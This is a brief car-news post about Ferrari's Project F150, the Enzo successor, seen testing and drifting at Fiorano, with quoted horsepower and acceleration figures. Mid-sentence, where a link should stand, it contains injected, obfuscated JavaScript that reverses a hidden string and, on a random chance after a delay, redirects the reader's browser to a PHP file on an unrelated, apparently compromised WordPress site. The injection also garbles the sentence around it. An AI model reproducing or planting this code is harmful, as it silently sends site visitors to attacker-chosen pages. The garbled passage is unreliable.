Ferrari Enzo successor, Project F150, seen testing – and drifting – at the marque’s testing facility at Fiorano, Maranello.
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It hasn’t taken long for Ferrari to show what their all-new $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/ferrari-enzo-successor-special-limited-successor-teased/” target=”_blank”>Special Limited Series can do. Given that the V12-powered Project F150 chucks out 950hp can hit 100kph from standstill in three seconds dead, can hit 200kph off the line in 7.4s, and can hit upwards of 370kph (or so internet rumblings suggest, anyway), then speed shouldn’t be problem. But then, we had expected that from the successor to the Enzo, which will make its debut at the Geneva Motor Show.
Oh, did we mention that it can also drift like a beast?
– Render courtesy of Iaconski Design. Video courtesy of Rob Sic via 0-60mag
